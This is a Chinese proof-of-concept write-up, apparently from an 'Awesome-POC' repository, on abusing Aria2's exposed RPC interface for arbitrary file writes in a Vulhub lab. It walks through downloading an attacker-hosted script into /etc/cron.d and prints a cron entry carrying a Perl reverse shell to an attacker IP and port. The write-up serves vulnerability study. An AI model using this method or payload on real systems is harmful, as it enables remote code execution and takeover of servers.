Awesome-POC/Web应用漏洞/Aria2 任意文件写入漏洞.md
2024-11-06 14:10:36 +08:00

52 lines
2.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Aria2 任意文件写入漏洞
## 漏洞描述
Aria2是一个命令行下轻量级、多协议、多来源的下载工具支持 HTTP/HTTPS、FTP、BitTorrent、Metalink内建XML-RPC和JSON-RPC接口。在有权限的情况下我们可以使用RPC接口来操作aria2来下载文件将文件下载至任意目录造成一个任意文件写入漏洞。
参考阅读https://paper.seebug.org/120/
## 环境搭建
Vulhub启动漏洞环境
```
docker-compose up -d
```
6800是aria2的rpc服务的默认端口环境启动后访问`http://your-ip:6800/`发现服务已启动并且返回404页面。
## 漏洞复现
因为rpc通信需要使用json或者xml不太方便所以我们可以借助第三方UI来和目标通信如 http://binux.github.io/yaaw/demo/ 。
打开yaaw点击配置按钮填入运行aria2的目标域名`http://your-ip:6800/jsonrpc`
![image-20220221192510551](images/202202211925680.png)
然后点击Add增加一个新的下载任务将另一台VPS服务器上的反弹shell脚本下载至/etc/cron.d。
在Dir的位置填写下载至的目录File Name处填写文件名。比如我们通过写入一个crond任务来反弹shell
![image-20220221193153466](images/202202211931602.png)
这时候arai2会将恶意文件我指定的另一台VPS服务器上的URL为http://xxx.xxx.xxx.xxx/reverse_shell.sh下载到/etc/cron.d/目录下文件名为shell。而在debian中/etc/cron.d目录下的所有文件将被作为计划任务配置文件类似crontab读取等待一分钟不到即成功反弹shell
```
* * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.174.128";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```
使用crontab -l命令查看定时任务并不能查看到我们设置的反弹shell。
cron执行时要读取三个地方的配置文件一是/etc/crontab二是/etc/cron.d目录下的所有文件三是每个用户的配置文件。
![image-20220221200226656](images/202202212002737.png)
> 如果反弹不成功注意crontab文件的格式以及换行符必须是`\n`且文件结尾需要有一个换行符建议直接在VPS服务器上执行vim
![image-20220221200141108](images/202202212001183.png)
当然,我们也可以尝试写入其他文件,更多利用方法可以参考[这篇文章](https://paper.seebug.org/120/)。